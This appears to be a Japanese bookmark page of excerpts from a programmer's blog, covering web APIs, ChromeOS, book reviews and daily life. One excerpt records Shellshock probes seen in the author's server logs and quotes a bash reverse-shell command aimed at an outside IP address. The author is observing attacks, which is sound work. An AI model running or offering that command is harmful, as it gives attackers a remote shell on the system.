サクサク読めて、アプリ限定の機能も多数!
トップへ戻る
Wikipedia
blog.jmuk.org
誰かの何かのブログで「なんかあったらissueを立ててください」と書いてあって、お、と思った。イシューとは立てるものであったか。 英語では "file an issue" などと言うと思う。これはたぶんファイルにとじるというのが原義で、申請書とかを提出しておくというのと同じである……と思ったけどそれは submit an application だな。まあ事件を立件する、とか、そういう意味合いがある。事件もファイルするしイシューもファイルする。日本語では事件は立件するしイシューも立てる。 ところでissueはどう数えるのだろうか。「ひとつ、ふたつ」か。「一件、二件」か。 他人のブログを読み返していて助数詞に関するエントリー(面白いのでおすすめ)を読んでいて気づいたのだが、issueはおそらく一本二本なんじゃないか。企画もプロジェクトも一本二本と立てていくものだ。イシューも一本ずつ立てていく
なんか最近WebKit (JSC) に ES6 Symbol が実装されたようなんですが、Symbol とかそんなのあったのか……というレベルだったので調べてみました。調べてみたらけっこう知らない世界でした。ES6、いつのまにかこんなことができたのかって感じ。 シンボルとは何なのか プログラミング言語におけるシンボルというのは……名前がついて区別可能なモノ、というのが一般的な理解である気がします。LISPでは多用されますね。たとえばメソッドの名前とか構造体のフィールド名、連想配列のキーやenumのようなものとして使ったりします。Rubyでもおなじみです。 まあこういう説明が必要な人はあんまりここを読んでない気もするのでwikipediaへのリンクで済ませたい。 ES6のシンボル ES6のシンボルも似たような感じなんですが、いろいろ違うところもあって戸惑います。以下はおおむねMDNからもって
Service workersの仕様を説明していて思ったのだが人々はどれぐらいweb workersのことについて詳しいのだろうか。 あんがい知らない気がするので簡単に解説してみる。まあ俺もニワカです。 共通部分 ブラウザのなかで、ウェブページとはある程度独立して、ある種の処理をするためのスクリプトを実行するモノのことをworkerと呼んでいる。ようするにJSの実行環境というかVMインスタンスというか。 ブラウザのなかでふつうのJSの実行環境であるタブの中とはいろいろ違うが、 windowオブジェクトがない。一部のJS APIは使えないしdocumentなどは持たない。DOMツリーもさわれない ただしメッセージループは持つ。windowはないがselfというやつがいてこいつを使う(self.onmessage = function() { ... } みたいな感じ) タブのなかとはmess
Chrome 40になってService workersが来たらしい。デモを動かしてみたり自分で書いてみたりして紹介記事でも書こうかなと思っていたが、 +Hajime Morrita はRebuild.fmに出演して紹介してしまったし、ほかにもすでにいくらか紹介記事が出始めてきた(たとえばhttp://qiita.com/kinu/items/2abd61b4390f9bbaffc9)。賑やかしにと自分もスクリーンキャストの動画も撮ってみた。 ここではデモの補足として、Service workersってどんなものなのかをふんわり考えてみる。 Service workers とは って項目を書いたのだがこの説明が難しい……。新しいウェブのAPI、だけだとだからなにって感じ。Service workersはweb workersの一種なのだが、って説明しはじめると泥沼に嵌りそうだ。 Servi
件のbashの脆弱性が残っていることを期待したアクセスについて、24時間ほど前には来てなかったんですが、さきほどログを見てみたらちょっとだけ来てました。 ログに残るのは User-Agent ぐらいなのですが、ほかのフィールドで試している輩もいることでしょう。 アクセス元を逆引きしてみたんですが、クラウドサービスばっかりでした(一個だけ shodan.io なるドメインの下のIPアドレスからあったのだけど、なんだろう……)。 さて、() { :;}; の後になにをやってるのか、というのなんですが、一つ THIS IS VULNERABLE と echo するだけという人がいました。警告のつもりなのか、手動で何か確認しているのかな。あとはpingだな……と思ってたんですが、ちょっと特異なものが。 /bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1
ネットは自分の趣味関心に強く縛られる。情報であふれているがその情報まで到達できない(本人に到達する気がないので)。だから世界を物理的に旅をして、観光をして、新しいものを見て、自分を変えていくのが大事だ、という本。 本の内容について細かい部分には疑問がある。たとえばウェブ上の言語の問題についていろいろ書いてあるのは、どちらかといえばただの技術的な課題ではないか、とか。旅行は時間がかかることが良いのだ、というのはほんとうか、とか。が、どうでもいい詳細だと思うのでそこは措く。 些事以外に読んでいてずっとモヤモヤしていたのが解決しなかった点がある。旅に出よーーでもどこに? どう選べばいい? 著者はこの本で再三、旅行をすすめる。環境を変え、違う世界を見ることで自分を変えることをすすめる。しかし、じゃあ、どこに行きゃいいの? 何が旅で何が旅でないのか? それが一番難しい問題なんじゃないか? もちろん「
ラマダンが始まったらしい。今年は6月28日から7月27日だそうだ。ぼくはイスラム教にはなんの縁もないので、へえっていうぐらいのものだが。 ただ、ラマダンといえば日中の断食だというぐらいは知っている。厳密には日の出から日没までの食事をしないということであって、日が暮れたらけっこういっぱい食べるのだと聞いたことはある。などということをウィキペディアで再確認しつつ、しかし、サンフランシスコ・ベイエリア近辺では、夏はけっこう日が長くて、日が落ちるのは9時を過ぎていたりするし、ラマダンといっても大変だろうな、などとうすぼんやり思いながら晩飯を食ったのであった。 でも、だとしたら、もっと北に行ったらどうなるのだろう。最終的には白夜のエリアに入ってしまうと、ある期間、日はまったく落ちなくなる。一ヶ月ものあいだ、まったく何も食えないと本当に餓死してしまうので、何らかのルールがあるのだろうとは思うが、さて、
あるとき、MIT 出身と Berkeley 出身の二人の有名人がWebサービスAPIの問題を話し合うために集まった。 MITの彼は SOAP (XMLのRPCフレームワーク) に精通しており、JSONベースのRESTfulサービスのためのドキュメントを読んでいた。彼はJSONがどのようにスキーマ問題を解決できるかに興味を持った。スキーマ問題はサービス事業者が新しいWebAPIを定義するときに起こる。もしAPIの返す値にuserといったフィールドがあるとすると、その意味するものはユーザを指示するID値であったり、なんらかの文字列であったり、簡単なプロフィール情報を含むオブジェクトであったりする。しかしAPIの返すそうしたフィールドは通常ただの1つの名前しかないため、クライアントはその内部構造を把握することができない。そこでサービスは構造の意味をあらかじめクライアントプログラムの作者に伝えなけ
Google+に限定公開で書いたらそこそこウケが良かったので一般公開してみる。 さいきん、趣味のプログラミングでテキストエディタを作っている。HTML/JS/CSSでPolymerを使って書くというのを特徴ということに定めて、ちまちま書いているところ。まだシンタックスハイライティングやモードなどが存在しないので未完成もいいところ。 で、エディタなんて簡単でしょ、と思うわけだし、実際のところものすごく難しいということはそんなに多くない。大枠は単純きわまりないものであって、キー入力から編集コマンドを実行してビューを適切に保つというだけのはなし。大枠の部分は、まあそれほど苦労しなくてもある程度動くところまではできる。 ところが、ものすごく細々したどうでもいい細部が、案外いろいろあるのだった。たとえば……などと書き始めるときりがないのだけれど、些細なことも実装しないと動かなかったりするわけで、まあ
すっかり感想を書き忘れていましたが、縁があって『ペナンブラ氏の24時間書店』という本を読みました。今月末ぐらいに発売されるぽい。 結論を先に書いておくと、なかなか面白かった。とくにWeb系な人はわりと楽しめると思う。 サンフランシスコのスタートアップでウェブデザイナーというかフロントエンドまわりをいろいろやって働いていた主人公だが、会社はうまくいかなくなり潰れてしまう。残ったのは会社の備品だったMacbookのみ、次の仕事までのつなぎとしてひとまずバイトをすることにしたのが、ペナンブラ氏の24時間書店という、文字通り24時間営業の古本屋。この本屋の夜間バイトをして糊口をしのぐことにする。 ところがこの本屋、どこかおかしい。一見するとふつうなのだけれど、奥には謎の書架があって、そこには読めない言語で書かれた、ふつうには存在しないと思われる本がぎっしり。奥は会員制で、たまにくる不思議な連中だけ
かなり前に解決済みのことなのですが、記録のために書いておきます。アメリカで運転免許を取得した場合、郵送されるのですが、なぜか届かないことがあり、その場合はアクションを起こさないといつまで経っても届かない、という話。 さて、アメリカで運転免許を取得する場合は、日本と同じように筆記試験と実技試験を受けることになります(教習所の合格で実技試験をパスする制度、みたいのはないのだと思います)。で、実技試験に合格した場合、おめでとう、といってその場で渡されるのは temporary license という紙っぺら一枚だけ。ようするに仮の免許証というやつでして、本物は後日、郵送されることになっています。だいたい、合格してから平均して2週間程度で届くようです。仮の免許の有効期限は3ヶ月くらいあるので通常は問題ありません。よね? 私は昨年末、11月ぐらいに実技試験にようやく合格したと思います。ところが年末に
Chromecastというデバイスがあります。今日はそれを使ってちょっと遊んでみた、というもの。 Chromecastとは何か……というのはご存知の皆さんが多いのでかなりはしょりますが、下の写真のようなガジェットです。テレビに直接挿して使い、コンピュータや携帯電話のアプリから動画や音楽を流して試聴できる。 対応サービスやアプリがまだ米国主体というのもあり、日本では未発売ではありますが、$35という低価格もあってこちらではそれなりに受けの良いガジェットのようです。ただ、動画とかをテレビで観るのはそれはそれで良いのですが、音楽だけなら画面いらんよなーとは誰しも思うところです。 というわけで今回はこのChromecastと Panlong HDMI Audio Extractor Decoder/Converter というコンバータを組み合わせます。こちらは HDMI を入力とし、画面出力は無視
せっかくの休みなので仕事と関係ないことでもすっか、と思い、NativeClientで遊んでいました(微妙に関係するのかなこれ)。Google+で #冬休みの自由研究 というハッシュタグを勝手に作って適当にあれこれ書いていたんだけど、そういえばなぜか限定公開にしてたので誰でも見える状態にはなってませんでしたね……。 なのでブログで簡単に記録を残しておきます。 やったこと:GaucheをNative Clientで動かそうと四苦八苦して挫折。その後 chibi-scheme を動かそうとしたらあっさり達成 いちおうはじめから書きましょう。 NativeClient(通称NaCl)とは何か? NativeClientは、ブラウザ(Chrome)のなかでネイティブコードを動かすためのモノです。SDKはカスタムメイドなCコンパイラでして、少し特殊なかんじのバイナリを生成します(nexeという拡張子が
六冬和生『みずは無間』を読んだ。 第一回ハヤカワSFコンテスト受賞作、著者にとってもデビュー作であるような本書をけなすのはいかがなものかという向きもあるかもしれないが、個人的には本書はまったく受けつけなかった。 人格を転移して深宇宙を飛ぶ探査船となった主人公を語り手とした小説。自らの分身を作ってばらまいたり、はたまた独自の情報生命体を進化させてばらまいたり、その行く末の者たちとふたたび邂逅したり、といった独白から、主人公や人類の行く末、来し方が語られる。そこには、主人公の元恋人であったみずはが影を落とす……。 のだが。 自分はきわめて偏った読み方をしていると思う。が、ぼくは、読んでいて、とにかくこの本のディティールが気になって仕方なかった。著者は何を考えてこういう描写を書いたのかがさっぱりわからないのだ。 のっけから、漢字2文字の単語を「4バイト」と表現したりするところでのけぞった(こんな
「今日使われているプログラミング言語の多くは、なぜ1990年前後に誕生したものなのか」に関する一考察 http://d.hatena.ne.jp/kazuhooku/20131221/1387603305 という文章を読んだ。 内容をまとめると、90年ころからコンピュータのメモリコストが下がり、変な制限をつけなくても文字列を簡単に処理できるようになった、そういう新しい言語や処理系は文字列処理の優位性があるので今でも生き残って使われている、という仮説だ。 仮説構築としては面白いと思う。でも、いろいろ議論に穴があるんじゃないかなぁという気がしているのでちょっと事例を調べてみた。 C++。C with classesのはじまりは1979年で、1983年にC++という名前になる。90年前後ってのは全然ただしくない。ただ、このころのC++にはSTLは存在しなかったわけで、「文字列型」もなかった(のだ
12月25日が近づき、家の外壁に電飾をよそおう「浮かれ電飾」の季節と相成りました。浮かれ電飾というのは大山顕氏の命名による、なんだか浮かれたクリスマス向け電飾のことです。 さてクリスマス電飾といえば、やはり本場はアメリカなんじゃないか。いやクリスマスの本場はさておき、こういう浮かれた電飾を施すとかアメリカっぽいじゃないですか。イメージだけで書いてるけど。ただぼくもアメリカの年末については(出張も含めて)それなりの回数を経験していますが、実はそんなにどこにでもあるようなものではありません。確かに、何軒かに一軒はなかなかの電飾が見られるのですが、街中がすごい浮かれてる、なんてことはありません。まあ、シリコンバレーは移民が多いしね、本場は別なのかもしれない。 と思っていたわけですが……。 どうやら地区によってイロイロらしい、という話のようなのでした。激しい地区は激しいらしい。せっかくなので、こっ
Nick Bilton "Hatching Twitter: A true story of money, power, friendship, and betrayal" を読んだ。 タイトルは訳すなら『ツイッターの孵化』といったところだろうか。鳥がコーポレートアイデンティティであることにひっかけている。 ツイッターのはじまりから、ごく最近までにかけてを綿密な取材をもとに書き起こした本ということになるのだけど、この本の主体は、一癖も二癖もあるような創業者の面々だ。彼らとその周辺の人々が主な登場人物となって、その誕生から成功、さらに権力闘争などが語られる。 ツイッターのそもそものはじまりは、Odeoというポッドキャストの会社にある、と本書ははじめる。Bloggerが買収されて在籍してたGoogleをやめたエヴァン・ウィリアムズ(エヴ)は、ノア・グラスに誘われてOdeoを始める。 やがて、田
よく話には聞くけれども、僕にも来ました。友達の名前と同じ偽アカウント。比較的ありそうな名前であるので、実際に引っかかってしまった人もちらほらいました。 いい機会なので、この件についていろいろ考えてみました。 偽アカウントとは何か いろいろ呼び方があるみたいですが、とりあえずここでは「偽アカウント」と呼んでいます。最近はほんと増えている気がするので、「ああ、あれね」とわかった人も多いんじゃないかとおもいますが。 たんに「偽」といえば、もちろん本人ではないということですが、ここでいう場合は(おそらく少数の)業者が何らかの理由で乱造しているアカウント群のことです。男性のしょうもない心理を利用するために、女性の名前を使っていて、多数の男性に無差別に友達申請を行なっていると考えられています。 「彼ら」をおそらく少数であるという推定をしているのは、手口がしだいに変化しているからです。 実際のところ、偽
Team Geek ―Googleのギークたちはいかにしてチームを作るのか さっそく『Team Geek』読みました。200ページ程度と分量が多くなく、わりと気楽にさっくり読めます。しかしこれは面白い。 ソフトウェア開発のチームやプロジェクトなどの運営にかかわるもろもろのエッセイ集、みたいなノリの本。内容はコーディングや実際の開発の細部には立ち入らず、むしろエンジニア同士の(あるいはエンジニアとエンドユーザの)関係のような「人間」にフォーカスを当てている。 いわく、ソフトウェア開発というのはチームプレイである。孤高の天才がひとりで作るようなモンじゃない。ユーザ=自分みたいなソフトウェアなら別だけれど、世間に広く使われるようなものというのは、一人で作るということはほぼないんじゃないかと思う。だから、個人個人の技量(技術力)とべつに、チームプレイをどうこなすか、という視点がないとうまくまわらな
こないだからの話題にちょっと関連する話として、さいきんChromeOSの仕事で手伝っていたマルチディスプレイ対応の機能について解説しよう。 現在販売されているChromebookには何らかのかたちで外部ディスプレイに接続する機能があるが、古いバージョンではミラーリングしかできなかった。それじゃ役に立たないので、複数のディスプレイをくっつけるような拡張デスクトップの機能をサポートした(まぁ、今時どんなOSにだってはじめっから入ってるような機能ではありますが)。Chromeのバージョン25以降でこの機能がオンになっている。ところが、この機能がなかなかの難産だった。 もともとChromeはブラウザだったから、そのGUI部分はウィンドウ基準の座標系だけを気にするようなつくりになっている。一方、ChromeOSではAuraという独自のウィンドウマネージャを実装したが、Auraにはデスクトップがあるの
http://d.hatena.ne.jp/perlcodesample/20130227/1361928810 この記事が話題なんでしょうか。 +Shiro Kawai さんの記事 http://blog.practical-scheme.net/shiro?20130227-equibillium を見つつ、つらつら思ったことなどを書いてみます。 まず、上のリンクの「変数に型がないとどのような型の値が代入されているかわからないという批判に答える」というセクションは、残念ながら答えているとは言いがたいものがあると思います。 第一に、多くのプログラミング言語では [] 等の演算子はオーバーライドできるため、演算子が使われているということを理由にデータの型を推定することはできません。 第二に、->new、というものがperlにおいて構文なのかどうかは知らないのですが、そうでないとすると、この
昨日の記事はだいぶ注目を集めたようです。今日は自分向けの技術的なメモです。 パスワード等に使うのにSHAなどのよく知られたハッシュ関数ではなぜダメなのか? パスワード用のハッシュ関数は何が違うのか? という話です。なお、今回はほんとに昨日今日でいろいろ仕入れたもののため、中身も薄いし間違ってるかもしれません(また、個別のアルゴリズムやテクニックなどは陳腐化しやすいので、後日にはいろいろ変わっていることでしょう)。その辺は注意してください。 ネタ元は http://throwingfire.com/storing-passwords-securely/#notpasswordhashes など 、あと https://plus.google.com/102550604876259086885/posts/4eoNnNSQ7W6 にコメントをいただいた皆さん(ありがとうございます!)。 で。
先日、twitterへのハッキング行為が発見された、という発表がなされました。一部のユーザのデータが漏洩したということです。 この件について個人的に懸念を感じたため、それをこちらに書いておきました。原文では encrypted/salted password と呼ばれていたものが、日本語の公式ブログでは「暗号化されたパスワード」となり、これが朝日新聞では「パスワード」と表記されているという問題です。 専門知識があれば、ここにどういう違いがあるかはわかるのですが、そうでなければわからないのも無理はありません。しかし、わからないからといって省略して良いわけでもありません。パスワードと encrypted/salted password は大きく異なります。 ではどう違うのか? この話について、ひと通りの解説をしてみるのも良いのではないかな、と思ったのでしてみます。 「パスワード」は保存されない
ぐぐぷらを眺めていたら、行動的な知り合いがCouseraの講義に字幕をつけるのを手伝いたい、と申し出ていたのに気づいた。その後の進展を見ていると、実はCouseraの字幕翻訳という話はとっくにあって、amaraというサービスでボランティアベースで進めているらしい。 へえ、そりゃ面白い、ちょっくらやってみよう、などという軽い好奇心から、やってみたのでした。それがこちら。データ構造の講義の、赤黒木についての話です。以下はその体験談なのですが…… 予防線を張っておきますが、この手の記事にありがちな「みんなもやってみよう!」という感じの気分にはなりませんでした。ぼくと同じく「へえ面白い、ちょっくらやってみようかな」と感じた人は、記事を最後まで読んでください。 さて。 どんな感じの作業になるかというと、少なくともCourseraの講義については、すでに英語字幕がついています。なので、その字幕をもとに
最近はどうもJenkinsとかTravisCIとかいうのが話題みたいなのだが、使ったことがないのでよくわからない。だがどうも漏れ聞く話を見ていると、こういうのは継続的インテグレーション(CI)と呼ばれていて、だいたい自分の社内プロジェクトでも似たようなことをやっているらしい。そこで、Chromiumがどういう環境でCIしているか、ということを簡単にまとめてみたい。あらかじめ書いておくと、名前が違うだけでだいたい普通です。 BuildBot Chromiumは普通のクライアントプログラムなので、ビルド環境の想定がけっこう複雑だ。Windows/Mac/Linux/ChromeOS(最近はAndroidなどのモバイル環境)のようにプラットフォームは多岐にわたるし、同じプラットフォームでも様々なビルドコンフィグレーションがある。テストも数が多く、ローカルに走らせておくのは時間がかかる。 Buil
ChromeOSには標準でいろんな言語がサポートされています。言語サポートとひとくちにいってもいろいろあるわけですが、入力方法もそうしたサポートのひとつでしょう。日本語にはMozcが使われており、中国語や韓国語も各種のOSSライブラリが使われています。CJK以外のアジア諸語ではlibm17nが使われています。ラテン文字を使った言語についても、様々なキーボードレイアウトをサポートすることで入力に対処しています。 とはいっても、そういうのは全然完全じゃないわけです。Mozcだけでは日本語はサポートしきれません。中国語でも、主として本土の人向けのピンイン入力や、台湾でよく使われるzhuyin入力や、Canjie(部首変換)はサポートされていますが、boshiamyのようなプロプラエタリなインプットメソッドは導入できません。 そういったわけで、ChromeOS用にインプットメソッド拡張機能APIと
今朝方、Google+でテクニカルライターのMike Elganが紹介していたコミックが凄そうだったのでうっかりKindleで買ってしまった。その名も『キャプテン・チャイナ』!! amazon.comでKindle版が$2ぐらい。もっとも、この第1巻はエピソード1つ分で、20ページぐらいです。英語版と中国語版がバンドルされてて全体で40ページぐらい。 せっかくなので軽く中身を紹介しておきます。 ……かつて、1950年代末、毛沢東は大躍進政策中にスーパーソルジャー計画を立案。数千人を越える兵士たちの候補から最終的に五人のエリートが選抜され、そのうちのとくに優秀な一人が中国の最初のスーパーヒーローに選ばれます。人民解放軍に由来するリベレーター(解放者)というコードネームを与えられ、当時の中国で大々的に宣伝が行われました(あ、解放者、というのは中国語版の名前)。ですが、当時の技術的な限界から、超
という誰得記事を書いてみたいと思います。 Goの型システム……というかtype宣言はなかなか面白いんじゃないか、ということに最近気づきました。type宣言は新しい型を宣言するものです。たとえば、A Tour of Goの例だと、 type Vertex struct { X int Y int }
mosh: MITからモバイル時代のSSH代替品という記事を読んでmoshというモノの存在を知りました。で、USENIXに採録予定の論文があるというのでそれも読んでみました。 moshでは、作者が独自に設計したSSP (State Synchronization Protocol)というトランスポート層の独自プロトコルを使っています。SSPというのは大雑把に言うと、下層にUDPを想定して、状態を送り合うというプロトコルのようです。 ターミナルのようなアプリケーションの場合、クライアントにせよサーバにせよ知りたいのは最新の状態であってそれ以外はドロップしてしまっても問題はない。そこで、UDPの1データグラムに収まる範囲で状態を送り合うということを想定しています。コネクションを張らないことで、クライアント側は途中でいきなりIPアドレスが変わっても問題が起きない、というのが「モバイル時代の」とい
次のページ
このページを最初にブックマークしてみませんか?
『blog.jmuk.org』の新着エントリーを見る
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く